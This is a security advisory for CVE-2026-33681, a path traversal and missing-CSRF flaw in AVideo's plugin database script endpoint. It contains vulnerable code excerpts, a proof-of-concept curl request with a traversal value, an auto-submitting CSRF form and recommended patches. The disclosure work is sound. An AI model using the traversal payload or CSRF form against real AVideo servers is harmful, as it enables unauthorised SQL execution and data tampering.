CVE-2026-33681
Summary
The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.
Details
The vulnerable data flow:
1. Entry point — objects/pluginRunDatabaseScript.json.php:21:
$fileName = Plugin::getDatabaseFileName($_POST['name']);2. "Sanitization" — objects/plugin.php:343-354:
public static function getDatabaseFileName($pluginName)
{
global $global;
$pluginName = AVideoPlugin::fixName($pluginName); // line 347 — no-op
$dir = $global['systemRootPath'] . "plugin";
$filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
if (!file_exists($filename)) {
return false;
}
return $filename;
}3. The "fix" — plugin/AVideoPlugin.php:3184-3190:
public static function fixName($name)
{
if ($name === 'Programs') {
return 'PlayLists';
}
return $name; // Returns input unchanged for all other values
}4. SQL execution — objects/pluginRunDatabaseScript.json.php:24-36:
$lines = file($fileName);
foreach ($lines as $line) {
// ...
if (!$global['mysqli']->query($templine)) {
$obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
die($templine.' '.json_encode($obj)); // Leaks file content + SQL error
}
}The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with pregreplace('/[^0-9a-z]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.
Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.
PoC
Step 1: Direct exploitation (as admin)
## Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
-d "name=../plugin/LiveLinks" \
"https://target.com/objects/pluginRunDatabaseScript.json.php"This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.
Step 2: CSRF exploitation (no direct admin access needed)
Host the following HTML on an attacker-controlled page and trick an admin into visiting it:
<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
<input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>Step 3: Information disclosure via error messages
If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:
{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}Impact
- SQL injection via file inclusion: An attacker can execute arbitrary SQL from any
install/install.sqlfile reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information. - Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
- CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
- Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious
install.sqlfile and then execute it via this endpoint.
Recommended Fix
Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:
// In objects/pluginRunDatabaseScript.json.php, after line 14:
// Add CSRF protection
if (!isGlobalTokenValid()) {
die('{"error":"' . __("Invalid token") . '"}');
}
// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:
public static function fixName($name)
{
if ($name === 'Programs') {
$name = 'PlayLists';
}
return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/WWBN/AVideo/security/advisories/GHSA-3hwv-x8g3-9qpr, https://nvd.nist.gov/vuln/detail/CVE-2026-33681, https://github.com/WWBN/AVideo/commit/81b591c509835505cb9f298aa1162ac64c4152cb, https://github.com/WWBN/AVideo, https://github.com/advisories/GHSA-v8jw-8w5p-23g3
